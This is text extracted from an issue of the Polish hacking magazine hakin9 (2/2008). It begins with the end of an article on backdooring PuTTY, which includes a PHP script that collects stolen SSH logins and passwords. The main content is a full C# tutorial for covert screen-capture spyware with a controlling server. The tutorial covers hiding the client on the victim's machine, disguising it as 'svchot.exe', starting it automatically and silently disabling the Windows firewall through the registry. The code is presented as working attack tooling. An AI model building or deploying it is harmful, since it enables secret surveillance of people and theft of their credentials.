cie logowania do zdalnego systemu
na początku sesji SSH, ale również
hasła wpisywane po wywołaniu sys-
temowych komend, jak

passwd

,

ssh

,

czy

su

(uwzględnienie ostatniego po-

lecenia stwarza możliwość pozyska-
nia haseł administratora systemu).
Istnieje również możliwość logowa-
nia całych sesji.

PuTTY nie jest tu oczywiście wy-

jątkiem. Podobna tylna furtka mo-
głaby zostać osadzona w wielu in-
nych programach z zamkniętym ko-
dem – w tym klientach FTP, progra-
mach pocztowych, komunikatorach
internetowych czy przeglądarkach

WWW. A zatem w aplikacjach, które
mogą posiadać lub przesyłać istotne
z punktu widzenia atakującego infor-
macje. Dlatego możemy uznać tego
typu modyfikacje za poważne za-
grożenie, które może zostać wyko-
rzystane jako atak na użytkownika
i jego dane.

Należy tu zaznaczyć, że tak

zmodyfikowany program PuTTY
nie jest uznawany za niebezpiecz-
ny przez oprogramowanie antywiru-
sowe. Przed tego typu atakiem nie
obroni nieświadomego użytkownika
również zapora ogniowa. Jest to
spowodowane tym, iż większość
użytkowników przy pierwszym uru-

chomieniu programu PuTTY naka-
zuje, aby zapora ogniowa przepusz-
czała cały ruch generowany przez
tę aplikację (zamiast zezwolić tylko
i wyłącznie na ruch SSH), uznając ją
za całkowicie godną zaufania. W ta-
kim przypadku połączenie HTTP na-
wiązane przez sniffera w celu prze-
słania haseł nie zostanie zablokowa-
ne przez zaporę.

Niezmiernie ważne jest, aby

użytkownik, uruchamiając program
pobrany z Sieci sprawdzał, czy nie
został on czasem zmodyfikowany
przez osoby trzecie (porównując
sumy kontrolne ściągniętych plików
z podanymi na stronie producenta).
Powinniśmy również unikać urucha-
miania aplikacji dostępnych na kom-
puterach w miejscach publicznych
typu kafejki internetowe czy biblio-
teki. Lepiej przeznaczyć dodatko-
we parę minut na pobranie aplikacji
ze strony producenta niż uruchomić
plik (który każdy mógł podmienić)
bezpośrednio z pulpitu. Powinniśmy
się również wystrzegać pobierania
programów ze stron z oprogramo-
waniem, które pozwalają każdemu
użytkownikowi serwisu na wgranie
dowolnego programu pod dowolną
nazwą. Nigdy nie wiadomo, na co
trafimy. l

W Sieci

ftp://ftp.chiark.greenend.org.uk/users/sgtatham/putty-0.60/x86/putty.exe – wersja

programu PuTTY, na której bazuje artykuł,

http://www.secretashell.com/codomain/peid/download.html – program PeiD,

przeznaczony do analizy plików PE,

http://www.hiew.ru – edytor szesnastkowy Hiew,
http://www.ollydbg.de/odbg110.zip – debugger OllyDbg,
http://msdn.microsoft.com/msdnmag/issues/02/02/PE – artykuł opisujący budo-

wę plików PE,

http://msdn2.microsoft.com/en-us/library/aa385473.aspx – lista funkcji biblioteki

wininet.dll wraz z dokładnymi opisami ich wywołania.

O autorze

Dawid Gołuński jest pasjonatem, badaczem bezpieczeństwa komputerowego, intere-
sującym się informatyką od wielu lat – w szczególności aspektami związanymi z bez-
pieczeństwem, administracją systemami i sieciami, inżynierią odwrotną oraz progra-
mowaniem. Część swojego czasu spędza jako niezależny security researcher.
Kontakt z autorem: golunski@crackpl.com

Listing 5.

putty.php – skrypt odbierający przechwycone dane

<?

php

// Dane zostaja odebrane, zdekodowane oraz zaladowane do odpowiednich

zmiennych

$data

=

$_GET

[

'data'

]

;

parse_str

(

base64_decode

(

$data

)

)

;

// Pobranie biezacej daty i godziny

$cur_date

=

date

(

"d/m/y : H:i:s"

,

time

())

;

$new_entry

=

"-----:[ Sent on

$cur_date

]:-----

\n

"

;

$info

=

"From IP address: "

.

$_SERVER

[

'REMOTE_ADDR'

]

.

"

\n\n

"

;

$auth

=

"Login:

$l

\n

Password:

$p

\n

Hostname:

$h

\n\n\n

"

;

// Zapis przechwyconych danych w pliku pass.log

$log_file

=

fopen

(

"pass.log"

,

"a"

)

;

if

(

$log_file

)

{

fwrite

(

$log_file

,

$new_entry

.

$info

.

$auth

)

;

}

fclose

(

$log_file

)

;

?>

background image
background image

www.hakin9.org

hakin9 Nr 2/2008

30

Atak

T

ym razem nie skorzystamy z mecha-
nizmu haków Windows, lecz stworzy-
my klasyczny projekt typu klient-ser-

wer. Klient będzie uruchamiany na kompute-
rze zdalnym i będzie oczekiwał na komendę
od serwera. Po jej otrzymaniu klient zrobi zrzut
ekranu, po czym dane te prześle do serwera.
W projekcie użyjemy protokołu TCP do przesy-
łania zrzutu ekranu. Za pomocą protokołu UDP
będziemy przesyłać do serwera dane dotyczą-
ce dostępności klientów. Dodatkowo wykorzy-
stamy programowanie wielowątkowe. Aplikację
klienta oraz serwer napiszemy używając dar-
mowego środowiska Visual C# 2005 Express
Edition. Będą to tradycyjne projekty Windows
Forms, choć oczywiście nie stoi nic na prze-
szkodzie, aby użyć projektów Windows Pre-
sentation Fundation. Zakładam, że Czytelnik
posiada podstawową wiedzę z zakresu progra-
mowania w języku C# dla platformy .NET.

Klient

Aplikację klienta napiszemy jako pierwszą.
Będzie ona standardowym projektem typu
Windows Forms, w którym użyjemy klas plat-
formy .NET odpowiedzialnych za programo-
wanie sieciowe. Będzie to aplikacja urucha-

miana na komputerze zdalnym, więc zadbamy
o to, aby była tam jak najmniej widoczna. Pro-
jekt ten można połączyć następnie z projek-
tem serwera w ramach jednego zbioru projek-
tów (Solution).

Podglądanie pulpitu

Sławomir Orłowski

stopień trudności

Używając mechanizmu haków w systemie Windows, możemy

swobodnie przechwytywać poufne dane wprowadzane

z klawiatury (hakin9 1/2008). Pora teraz podpatrzeć,

co użytkownik robi na swoim komputerze.

Z artykułu dowiesz się

• jak z poziomu kodu C# utworzyć połączenie

TCP,

• jak z poziomu kodu C# wysłać dane za pomo-

cą protokołu UDP,

• w jaki sposób używać komponentów klasy

BackgroundWorker,

• jak używać strumieni do programowania siecio-

wego.

Co powinieneś wiedzieć

• podstawowa znajomość języka C# i platformy

.NET,

• jak używać środowiska Visual C# Express Edi-

tion,

• podstawy programowania zorientowanego

obiektowo,

• podstawowa znajomość sieci komputero-

wych.

background image

Podglądanie pulpitu

hakin9 Nr 2/2008

www.hakin9.org

31

Zrzut ekranu

Na początku warto napisać meto-
dę, za pomocą której będziemy mo-
gli wykonywać zrzuty ekranu. Roz-
poczynamy zatem nowy projekt
Windows Forms. Niech nazywa się
Klient. Pozostawimy również do-
myślną nazwę Form1, która repre-
zentuje okno (formę) naszej aplika-
cji. Umieścimy ją wewnątrz klasy

Form1

(Listing 1). Aby mieć wygodny

dostęp do klas i metod umożliwiają-
cych wykonanie zrzutu ekranu, mu-
simy dodać jeszcze przestrzeń nazw

System.Drawing.Imaging

.

Zasadniczym elementem napisa-

nej przez nas metody

makeScreenshot

jest użycie metody

CopyFromScreen

klasy

Graphics

. Wykonuje ona kopię

obrazu ekranu. Jej pięć pierwszych
argumentów określa obszar ekranu,
który będzie skopiowany. Ostatni ar-
gument (

CopyPixelOperation

) określa

sposób kopiowania poszczególnych
pikseli. My wybraliśmy

SourceCopy

,

co oznacza dokładne kopiowanie.
Można jeszcze np. odwrócić kolo-
ry itd. Metoda

FromImage

tworzy no-

wy obiekt klasy

Graphics

z określo-

nego obrazu.

Przesyłanie zrzutu

ekranu

Przesyłanie kopii ekranu można zre-
alizować na kilka sposobów. Najła-
twiej jest wysyłać dane co pewien
odstęp czasu. Można do tego użyć
komponentu

Timer

. Ja jednak chcia-

łem zaproponować rozwiązanie bar-
dziej uniwersalne, choć – ze wzglę-
du na implementację – dosyć nie-
typowe. Niech użytkownik serwera
sam zdecyduje, kiedy chce wykonać
zdalny zrzut ekranu.

W tym celu klient musi oczekiwać

na odpowiednią komendę od serwe-
ra, czyli w aplikacji klienta de facto
musimy uruchomić serwer. Podobnie
jak w przypadku protokołu FTP, my
również użyjemy do obsługi połącze-
nia dwóch portów. Jeden będzie od-
powiedzialny za komendy, a drugi za
przesyłanie danych. Dzięki takiemu
rozwiązaniu komendy będą wysyła-
ne do klienta niezależnie od prze-
syłanych danych. Umożliwi nam to
wstrzymanie bądź zatrzymanie wy-

syłania. W przypadku używania tyl-
ko jednego portu do obu tych opera-
cji nie mielibyśmy takich możliwości.
Serwer musi przechowywać listę ak-
tualnie dostępnych klientów. Wystar-
czy więc, że klient w momencie ini-
cjalizacji prześle informacje o swojej
dostępności. Dla platformy .NET za-
projektowano dwie klasy, które służą
do połączenia TCP. Są to

TCPListener

i

TCPClient

.

Pierwsza spełnia rolę serwe-

ra, a druga klienta. Aby wygodnie
korzystać z klas służących do pro-
gramowania sieciowego, w sekcji
using programu dodajemy trzy prze-

strzenie nazw:

System.Net.Sockets

,

System.Net

i

System.IO

. Do klasy for-

my dodamy jeszcze prywatne pola,
które będą przechowywały dane po-
trzebne do połączenia się z serwe-
rem oraz zrzut ekranu (Listing 2).
Pierwsza zmienna będzie przecho-
wywała port, na jakim będą przesy-
łane komendy.

Druga zmienna zawierać bę-

dzie adres IP serwera. Testowo ad-
res ten ustawiamy na 127.0.0.1, czy-
li adres pętli zwrotnej. Numer portu,
na którym będziemy wymieniać da-
ne z serwerem, przechowany będzie
w zmiennej

serverDataPort

. Zmien-

Listing 1.

Metoda wykonująca zrzut ekranu

private

Bitmap

makeScreenshot

()

{

Bitmap

bmp

=

new

Bitmap

(

Screen

.

PrimaryScreen

.

Bounds

.

Width

,

Scree

n

.

PrimaryScreen

.

Bounds

.

Height

,

PixelFormat

.

Format32bp

pArgb

);

Graphics

screenshot

=

Graphics

.

FromImage

(

bmp

);

screenshot

.

CopyFromScreen

(

Screen

.

PrimaryScreen

.

Bounds

.

X

,

Screen

.

P

rimaryScreen

.

Bounds

.

Y

,

0

,

0

,

Screen

.

PrimaryScreen

.

Boun

ds

.

Size

,

CopyPixelOperation

.

SourceCopy

);

return

bmp

;

}

Listing 2.

Prywatne pola klasy Form1

private

int

serverCommandPort

=

1978

;

private

IPAddress

serverIP

=

IPAddress

.

Parse

(

"127.0.0.1"

);

private

int

serverDataPort

=

25000

;

private

string

localIP

=

null

;

private

Bitmap

image

;

Rysunek 1.

Widok projektu interfejsu graficznego serwera

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

32

na

localIP

będzie zawierać adres

IP komputera, na którym uruchomio-
ny zostanie klient. Ostatnie zadekla-
rowane przez nas pole będzie prze-
chowywać obraz.

Używając do połączenia TCP klas

TcpListener

i

TcpClient

działamy na

zasadzie blocking socket. Oznacza to,
że wątek, w którym dokonujemy trans-
akcji TCP będzie zablokowany, dopó-
ki transakcja nie zostanie zakończo-
na. Jeśli to będzie główny wątek apli-
kacji, to jej interfejs graficzny będzie

niedostępny w czasie trwania trans-
akcji TCP. Zatem wygodnie jest uży-
wać programowania wielowątkowe-
go – choć w tym przypadku nie jest to
konieczne, ponieważ nasza aplikacja
nie posiada na formie żadnych kontro-
lek. Począwszy od wersji 2.0, platfor-
ma .NET wyposażona jest w wygod-
ny komponent klasy

BackgroundWorker

.

Dzięki niemu możemy w prosty spo-
sób wykonywać podstawowe opera-
cje wielowątkowe, co w naszym przy-
padku w zupełności wystarczy. Przy

skomplikowanym programie wielo-
wątkowym lepiej skorzystać jest z klas
z przestrzeni nazw

System.Threading

.

Do projektu dodajemy komponent

backgroundWorker1

. Tworzymy dla nie-

go metodę zdarzeniową

DoWork

, któ-

ra odpowiada za zadanie, jakie bę-
dzie w tym wątku wykonywane
(Listing 3). Jak wspomniałem we wstę-
pie, klient powinien oczekiwać na ko-
mendę wysłaną przez serwer, wyko-
nać zrzut ekranu i dane te przesłać na
serwer. Niech komendą inicjalizującą
procedurę wykonania zrzutu ekranu
będzie ciąg

##shot##

. Konstruujemy

obiekt klasy

TcpListener

i w konstruk-

torze przekazujemy adres IP kompu-
tera oraz port, na jakim aplikacja bę-
dzie nasłuchiwać. Pod zmienną loca-
lIP podstawimy adres IP w konstrukto-
rze klasy

Form1

(Listing 4).

Za pomocą metody

Start

inicja-

lizujemy nasłuchiwanie. Metoda ta
nie blokuje jeszcze bieżącego wąt-
ku. Wątek blokowany jest dopiero po
użyciu metody

AcceptTcpClient

, któ-

ra oczekuje na połączenie i zwraca
obiekt klasy

TcpClient

. Za jego pomo-

cą będziemy mogli odczytać dane, ja-
kie otrzymaliśmy podczas połączenia.
Operacje sieciowe dotyczące odczy-
tu bądź wysyłania przy połączeniach
TCP to w ogólności operacje na stru-
mieniach. Wystarczy więc umiejętnie
skonstruować strumień i już mamy
możliwość przesyłania danych przez
sieć. Do obsługi strumienia sieciowe-
go służy klasa

NetworkStream

. Używa-

jąc metody

GetStream

klasy

TcpClient

otrzymujemy strumień, który podsta-
wiamy do referencji ns. Dalej za po-
mocą metody

Read

przepisujemy do

bufora typu

byte[]

dane, które odczy-

taliśmy ze strumienia.

Przy użyciu metody

GetString

z klasy

Encoding

zamieniamy

bufor na obiekt typu string. Sprawdza-
my, jaką wartość ma ten obiekt i je-
żeli jest to komenda

##shot##

, wów-

czas wykonujemy zrzut ekranu i za-
pisujemy go do pola image. Aby zaj-
mował on jak najmniej pamięci,
używamy kodowania JPEG. W ko-
lejnym kroku obraz zamieniany jest
na strumień (klasa

MemoryStream

),

a później na tablicę bajtów (metoda

GetBuffer

). Tak przygotowany stru-

Listing 3.

Metoda wywołująca zrzut ekranu, który następnie przesyłany

jest do serwera

private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)

{

TcpListener

server

=

new

TcpListener

(

IPAddress

.

Parse

(

localIP

)

,

serverCommandPort

);

serwer

.

Start

();

while

(

true

)

{

TcpClient

clientCommand

=

server

.

AcceptTcpClient

();

NetworkStream

ns

=

clientCommand

.

GetStream

();

Byte

[]

b

=

new

Byte

[

8

];

int

read

=

ns

.

Read

(

b

,

0

,

b

.

Length

);

string

msg

=

Encoding

.

ASCII

.

GetString

(

b

);

if

(

msg

==

"##shot##"

)

{

image

=

makeScreenshot

();

MemoryStream

ms

=

new

MemoryStream

();

image

.

Save

(

ms

,

ImageFormat

.

Jpeg

);

byte

[]

imageByte

=

ms

.

GetBuffer

();

ms

.

Close

();

try

{

TcpClient

client2

=

new

TcpClient

(

serverIP

.

ToString

()

,

serverDataPort

);

NetworkStream

ns2

=

client2

.

GetStream

();

using

(

BinaryWriter

bw

=

new

BinaryWriter

(

ns2

))

{

bw

.

Write

((

int

)

imageByte

.

Length

);

bw

.

Write

(

imageByte

);

}

}

catch

(

Exception

ex

)

{

}

}

}

}

Listing 4.

Konstruktor klasy Form1

public

Form1

()

{

InitializeComponent

();

IPHostEntry

IPs

=

Dns

.

GetHostEntry

(

Dns

.

GetHostName

());

localIP

=

IPs

.

AddressList

[

0

]

.

ToString

();

backgroundWorker1

.

RunWorkerAsync

();

}

background image

Podglądanie pulpitu

hakin9 Nr 2/2008

www.hakin9.org

33

mień możemy przesłać przez sieć uży-
wając klasy

TcpClient

. Do przesyłania

danych binarnych posłużymy się klasą
BinaryWriter. Próba wysłania danych
do serwera powinna być zamknięta
w bloku ochronnym try-catch, co
uchroni program przed zwracaniem
wyjątków do środowiska uruchomie-
niowego, a co za tym idzie – do zde-
maskowania się. Całość zamknięta
jest w nieskończonej pętli

while

.

Musimy jeszcze odczytać adres

IP komputera, na którym działa klient
oraz uruchomić wątek związany
z komponentem

backgroundWorker1

.

Czynności te wykonamy w konstruk-
torze klasy formy (Listing 4).

Wysyłanie informacji

o dostępności klienta

Ważną funkcjonalnością aplikacji
klienckiej powinno być wysyłanie in-
formacji o dostępności klienta. Dzięki
temu serwer będzie miał zawsze ak-
tualną listę klientów, którzy są aktyw-
ni. Użyjemy do tego protokołu UDP.
Niech informacja, jaką będzie wysyłał
klient, ma postać adresIP_klienta:ko-
munikat. Przy starcie klient powinien
wysłać informację, która może wy-
glądać tak:

127.0.0.1:HI

. Przy kończe-

niu pracy powinien wysłać informa-
cję

127.0.0.1:BYE

. Listing 5 przedsta-

wia prostą metodę wysyłającą dane
za pomocą protokołu UDP. Do obsłu-
gi połączenia UDP użyta została klasa

UdpClient

i jej metoda

Send

.

Wystarczy ją podczepić do zda-

rzenia

Load

oraz

FormClosing

(Li-

sting 6).

Przypatrzmy się jeszcze przez

chwilę sposobowi działania klien-
ta. Aplikacja ta będzie uruchamiana
na komputerze zdalnym (w domyśle
ofiary). Musimy więc zadbać o to, aby
była jak najtrudniejsza do odkrycia.
Na początek ukrywamy okno apli-
kacji. Można to zrobić poprzez wła-
sności

ShowIcon

oraz

ShowInTaskbar

,

które ustawiamy na

false

. Własność

WindowState

ustawiamy na

Minimized

.

W zasadzie moglibyśmy napisać rów-
nież aplikację konsolową, która nie
posiadałaby okna. Wybrałem jed-
nak aplikację Windows Forms, ponie-
waż chciałem, aby program mógł być
później dowolnie modyfikowany – np.

poprzez dodawanie nowych kontro-
lek do formy. Program ten powinien
również uruchamiać się w momencie
startu systemu.

Metoda dodająca odpowiedni wpis

do rejestru systemowego, który za-
pewni automatyczne uruchamianie
aplikacji, została już zaprezentowana
w artykule C#.NET. Podsłuchiwanie
klawiatury
, hakin9 1/2008. Sam proces
można w prosty sposób ukryć poprzez
nazwanie programu np. svchot.exe.
Program można również spróbować
uruchomić w trybie usługi.

Pozostaje jeszcze jedna, ważna

kwestia: reakcja firewalla zainstalo-
wanego w systemie na próbę stworze-
nia serwera, a co za tym idzie otwarcia
portu i nasłuchiwania na nim. Ponie-

waż jest to bardzo szeroki temat, do-
bry na osobny artykuł, skupimy się je-
dynie na firewallu systemowym, który
jest używany przez bardzo wielu użyt-
kowników. Aby go wyłączyć wystar-
czy zmienić wartość

EnableFirewall

znajdującą się w kluczu o nazwie

H K E Y _ L O C A L _ M A C H I N E \ S YST E M \
ControlSet001\Services\SharedAccess\
P a r a m e t e r s \ F i r e w a l l P o l i c y \
StandardProfile

z

dword:00000001

na

dword:00000000

. Centrum Zabezpie-

czeń, które obecne jest od premiery
poprawki SP2, może wyświetlać mo-
nity o wyłączeniu firewalla. Aby za-
mknąć mu usta, wystarczy zmienić
wartość

FirewallDisableNotify

, która

znajduje się w kluczu

HKEY _ LOCAL _

MACHINE\SOFTWARE\Microsoft\Security

Listing 5.

Wysyłanie danych za pomocą protokołu UDP

private

void

SendMessageUDP

(

string

msg

)

{

UdpClient

client

=

new

UdpClient

(

serverIP

.

ToString

()

,

43210

);

byte

[]

b

=

Encoding

.

ASCII

.

GetBytes

(

msg

);

client

.

Send

(

b

,

b

.

Length

);

client

.

Close

();

}

Listing 6.

Metody zdarzeniowe Load oraz FormClosing

private

void

Form1_Load

(

object

sender

,

EventArgs

e

)

{

SendMessageUDP

(

localIP

+

":HI"

);

}

private

void

Form1_FormClosing

(

object

sender

,

FormClosingEventArgs

e

)

{

SendMessageUDP

(

localIP

+

":BYE"

);

}

Listing 7.

Wyłączenie systemowego firewalla

private

void

firewallDisable

()

{

const

string

keyname1

=

"SYSTEM

\\

ControlSet001

\\

Services

\

\

SharedAccess

\\

Parameters

\\

FirewallPolicy

\\

StandardProfile"

;

const

string

keyname2

=

"SOFTWARE

\\

Microsoft

\\

Security Center"

;

try

{

Microsoft

.

Win32

.

RegistryKey

rg1

=

Microsoft

.

Win32

.

Registry

.

L

ocalMachine

.

OpenSubKey

(

keyname1

,

true

);

rg1

.

SetValue

(

"EnableFirewall"

,

0

);

rg1

.

Close

();

Microsoft

.

Win32

.

RegistryKey

rg2

=

Microsoft

.

Win32

.

Registry

.

L

ocalMachine

.

OpenSubKey

(

keyname2

,

true

);

rg2

.

SetValue

(

"FirewallDisableNotify"

,

1

);

rg2

.

Close

();

}

catch

{}

}

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

34

Center

. Odpowiedni kod realizujący

te zadania przedstawiony został na
Listingu 7. Jego wywołanie najlepiej
umieścić w konstruktorze klasy

Form1

lub w metodzie zdarzeniowej dla zda-
rzenia

Load

formy. Sam sposób prze-

prowadzania operacji na rejestrze zo-
stał również opisany w cytowanym po-
wyżej artykule.

Próba modyfikacji rejestru nie

uda się, jeśli nie mamy odpowiednich
praw. Jednak ilu jest użytkowników
systemu Windows, którzy na co dzień
korzystają z konta o prawach admini-
stratora? Można również zmienić ten
program tak, aby udawał jakąś inną
aplikację. W ten sposób użytkownik
może zignorować ewentualne moni-
ty pochodzące od firewalla i pozwolić
na komunikację sieciową. Programy
antywirusowe nie powinny zgłaszać
zagrożenia podczas działania klien-
ta (jak i w trakcie skanowania jego pli-
ku wykonywalnego), ponieważ jest to
standardowa aplikacja.

Pora stworzyć serwer

Rozpoczynamy kolejny projekt Win-
dows Forms
, który będzie serwe-
rem dla napisanego przed chwi-
lą klienta. Na początek zbuduje-
my interfejs graficzny użytkownika.
W tym celu do projektu dodajemy kon-
trolkę

pictureBox1

, na której będzie-

my wyświetlać pobrany zrzut ekranu.
Na formę wrzucamy również kontro-
lkę

listBox1

, przeznaczoną do prze-

chowywania listy wszystkich aktyw-
nych klientów. Dodajemy jeszcze pole
edycyjne

textBox1

, które będzie prze-

chowywać adres IP serwera oraz po-
le

numericUpDown1

, które posłuży do

wyboru portu. Na koniec dodajemy
przycisk

button1

– będzie on inicjo-

wał zdalny zrzut ekranu. Nasz ser-
wer, podobnie jak klient, będzie ob-
sługiwał połączenia w osobnych wąt-
kach. Dzięki temu interfejs użytkow-
nika będzie stale dostępny. Założyli-
śmy sobie na początku, że informa-
cje o aktywnych klientach przesyłać
będziemy przy użyciu protokołu UDP.
Oczekiwanie na zgłoszenia od klien-
tów zrealizujemy w osobnym wątku.
Do jego obsługi dodajemy kompo-
nent

backgroundWorker1

. Zanim opro-

gramujemy jego metodę

DoWork

, musi-

Listing 8.

Bezpieczne odwoływanie się do kontrolek formy z poziomu

innego wątku

delegate

void

SetTextCallBack

(

string

tekst

);

private

void

SetText

(

string

tekst

)

{

if

(

listBox1

.

InvokeRequired

)

{

SetTextCallBack

f

=

new

SetTextCallBack

(

SetText

);

this

.

Invoke

(

f

,

new

object

[]

{

tekst

}

);

}

else

{

this

.

listBox1

.

Items

.

Add

(

tekst

);

}

}

delegate

void

RemoveTextCallBack

(

int

pozycja

);

private

void

RemoveText

(

int

pozycja

)

{

if

(

listBox1

.

InvokeRequired

)

{

RemoveTextCallBack

f

=

new

RemoveTextCallBack

(

RemoveText

);

this

.

Invoke

(

f

,

new

object

[]

{

pozycja

}

);

}

else

{

listBox1

.

Items

.

RemoveAt

(

pozycja

);

}

}

Listing 9.

Metoda konstruująca listę aktywnych klientów

private

void

backgroundWorker1_DoWork

(

object

sender

,

DoWorkEventArgs

e

)

{

IPEndPoint

hostIP

=

new

IPEndPoint

(

IPAddress

.

Any

,

0

);

UdpClient

client

=

new

UdpClient

(

43210

);

while

(

true

)

{

Byte

[]

b

=

client

.

Receive

(

ref

hostIP

);

string

data

=

Encoding

.

ASCII

.

GetString

(

b

);

string

[]

cmd

=

data

.

Split

(

new

char

[]

{

':'

}

);

if

(

cmd

[

1

]

==

"HI"

)

{

foreach

(

string

s

in

listBox1

.

Items

)

if

(

s

==

cmd

[

0

])

{

MessageBox

.

Show

(

"Próba nawiązania połączenia z "

+

cmd

[

0

]

+

" odrzucona ponieważ na liście istnieje już

taki wpis"

);

return

;

}

this

.

SetText

(

cmd

[

0

]);

}

if

(

cmd

[

1

]

==

"BYE"

)

{

for

(

int

i

=

0

;

i

<

listBox1

.

Items

.

Count

;

i

++)

if

(

listBox1

.

Items

[

i

]

.

ToString

()

==

cmd

[

0

])

this

.

RemoveText

(

i

);

}


}

}

background image

Podglądanie pulpitu

hakin9 Nr 2/2008

35

my jeszcze stworzyć dwie metody po-
mocnicze, za pomocą których będzie-
my odwoływać się do kontrolek formy
z poziomu innego wątku.

Odwoływanie się

do kontrolek formy

Wątek związany z komponentem

backgroundWorker1

będzie potrzebo-

wał dostępu do kontrolek znajdują-
cych się na formie serwera, które zo-
stały stworzone w wątku głównym
aplikacji. Bezpośrednia próba odwo-
łania się do tych kontrolek z poziomu
innego wątku może zakończyć się
dla naszej aplikacji błędem, ponie-
waż do tej samej kontrolki może jed-
nocześnie odwoływać się inny wą-
tek (np. główny). Musimy więc stwo-
rzyć mechanizm, który umożliwi nam
zmianę wpisów w kontrolce

listBox1

.

Skorzystamy z mechanizmu delega-
cji oraz metody

Invoke

, która wykona

skonstruowaną przez nas delegację
w wątku, w którym kontrolki zosta-
ły utworzone. Potrzebujemy metody
dodającej wpis do listy

ListBox1

oraz

metody usuwającej wpis z tej listy.
Na Listingu 8 zamieszczony został
kod metod

SetText

oraz

RemoveText

,

które służą właśnie do tych celów.

Lista aktywnych

klientów

Po utworzeniu metod umożliwiają-
cych bezpieczne odwoływanie się
do kontrolek znajdujących się na for-
mie z poziomu innego wątku, może-
my przystąpić do konstruowania listy
aktywnych klientów. Przypominam,
że klient w momencie uruchomie-
nia oraz wyłączenia wysyła komuni-
kat UDP do serwera o treści

adresIP:

komunikat

. Po stronie serwera musimy

ten komunikat odczytać i dodać odpo-
wiedni wpis do kontrolki

listBox1

(lub

usunąć go z niej). Niech serwer na-
słuchuje na porcie 43210. Dla kom-
ponentu

backgroundWorker1

tworzy-

my metodę

DoWork

(Listing 9). Do kon-

struktora klasy

UdpClient

przekazuje-

my numer portu i za pomocą metody

Receive

odczytujemy dane, jakie wy-

słał nam klient. Metoda ta jako para-
metr przyjmuje referencję adresu IP
hosta wysyłającego dane, zwraca na-
tomiast dane w postaci tablicy danych

background image

hakin9 Nr 2/2008

www.hakin9.org

Atak

36

typu byte. Metoda Split klasy String
umożliwia rozdzielenie ciągu znaków
ze względu na konkretny znak sepa-
ratora – w naszym przypadku jest
to dwukropek. Jeżeli po adresie IP
w otrzymanym komunikacje odczy-
tamy ciąg HI, wówczas dopisujemy
do listy

listBox1

adres IP klienta. Je-

żeli treścią komunikatu będzie

BYE

,

to usuwamy ten adres z listy.

Pobieranie

zrzutu ekranu

Pobieranie zrzutu ekranu zrealizu-
jemy w osobnym wątku. W tym ce-
lu do projektu dodajemy komponent

backgroundWorker2

, który będzie odpo-

wiedzialny za oczekiwanie na nadcho-
dzący od klienta zrzut oraz jego pobra-
nie. Na początek tworzymy metodę
zdarzeniową

Click

kontrolki

button1

.

Będzie ona odczytywała adres IP
klienta, który zaznaczony jest na liście

listBox1

, wysyłała komendę

##shot##

oraz uruchamiała wątek związany

z komponentem

backgroundWorker2

(Listing 10). Tradycyjnie do przesła-
nia komendy do klienta użyjemy klasy

TcpClient

oraz strumienia sieciowe-

go. Dodatkowy wątek może być uru-
chomiony jedynie wtedy, kiedy nie jest
już zajęty odbieraniem innego zrzutu
ekranu. Możemy to sprawdzić za po-
mocą własności

IsBusy

. W kolejnym

kroku tworzymy metodę zdarzenio-
wą DoWork dla komponentu backgro-
undWorker2. Tworzymy tam egzem-
plarz klasy

TcpListener

, który ocze-

kuje na zrzut ekranu. Podobnie, jak
w przypadku klienta (Listing 3), musimy
wykonać kilka standardowych kroków.
Po pierwsze, do konstruktora kla-
sy przekazujemy adres IP oraz nu-
mer portu, na jakim ma działać
uruchomiony serwer (np. 1978).
Następnie

wywołujemy

metodę

Start

w celu inicjalizacji serwera.

W kolejnym kroku używamy metody

AcceptTcpClient

, która zwraca nam

obiekt klasy

TcpClient

. Posłuży nam

on następnie do stworzenia strumie-
nia sieciowego, z którego możemy
odczytać już dane. Otrzymany obraz
wrzucamy do kontrolki

pictureBox1

.

W ten sposób serwer został stworzony
i uruchomiony. Można go oczywiście
rozszerzyć o kolejne funkcje, takie jak
zapisywanie zrzutów ekranu do pliku
itd. Pozostawiam to Czytelnikowi.

Podsumowanie

W powyższym artykule starałem się
przekazać jak najwięcej podstaw do-
tyczących programowania sieciowego
na platformie .NET przy użyciu proto-
kołów TCP i UDP. Dane, które przesy-
ła się przez sieć, bez względu na ich
źródło zamieniamy na tablicę bajtów
i za pomocą strumieni sieciowych od-
czytujemy bądź zapisujemy. Projekty
stworzone w tym artykule mogą sta-
nowić podstawę dla bardziej rozbudo-
wanych aplikacji. l

O autorze

Sławomir Orłowski – doktorant na Wydziale Fizyki, Astronomii i Informatyki Stosowa-
nej UMK w Toruniu. Zajmuje się dynamiką molekularną oraz bioinformatyką. Ma do-
świadczenie w programowaniu w językach C++, Delphi, Fortran, Java i Tcl. Strona do-
mowa: http://www.fizyka.umk.pl/~bigman. Kontakt z autorem: bigman@fizyka.umk.pl

Listing 10.

Pobieranie zrzutu ekranu w osobnym wątku

private

void

button1_Click

(

object

sender

,

EventArgs

e

)

{

if

(

listBox1

.

SelectedIndex

==

-

1

)

return

;

try

{

TcpClient

client

=

new

TcpClient

(

listBox1

.

Items

[

listBox1

.

Sel

ectedIndex

]

.

ToString

()

,

1978

);

NetworkStream

ns

=

client

.

GetStream

();

byte

[]

b

=

new

byte

[

8

];

b

=

Encoding

.

ASCII

.

GetBytes

(

"##shot##"

);

ns

.

Write

(

b

,

0

,

b

.

Length

);

if

(

backgroundWorker2

.

IsBusy

==

false

)

backgroundWorker2

.

RunWorkerAsync

();

else

MessageBox

.

Show

(

"Nie można teraz zrealizować zrzutu

ekranu"

);

}

catch

{

MessageBox

.

Show

(

"Błąd: Nie można nawiązać połączenia"

);

}

}

private

void

backgroundWorker2_DoWork

(

object

sender

,

DoWorkEventArgs

e

)

{

TcpListener

server2

=

new

TcpListener

(

IPAddress

.

Parse

(

textBox1

.

T

ext

)

,

(

int

)

numericUpDown1

.

Value

);

server2

.

Start

();

TcpClient

client2

=

server2

.

AcceptTcpClient

();

NetworkStream

ns

=

client2

.

GetStream

();

byte

[]

imageByte

;

using

(

BinaryReader

br

=

new

BinaryReader

(

ns

))

{

int

imageSize

=

br

.

ReadInt32

();

imageByte

=

br

.

ReadBytes

(

imageSize

);

}

using

(

MemoryStream

ms

=

new

MemoryStream

(

imageByte

))

{

Image

img

=

Image

.

FromStream

(

ms

);

pictureBox1

.

Image

=

img

;

}

server2

.

Stop

();

}

background image
background image

www.hakin9.org

hakin9 Nr 2/2008

38

Atak

W

plikach wykonywalnych znajdują
się instrukcje dla procesora, dane
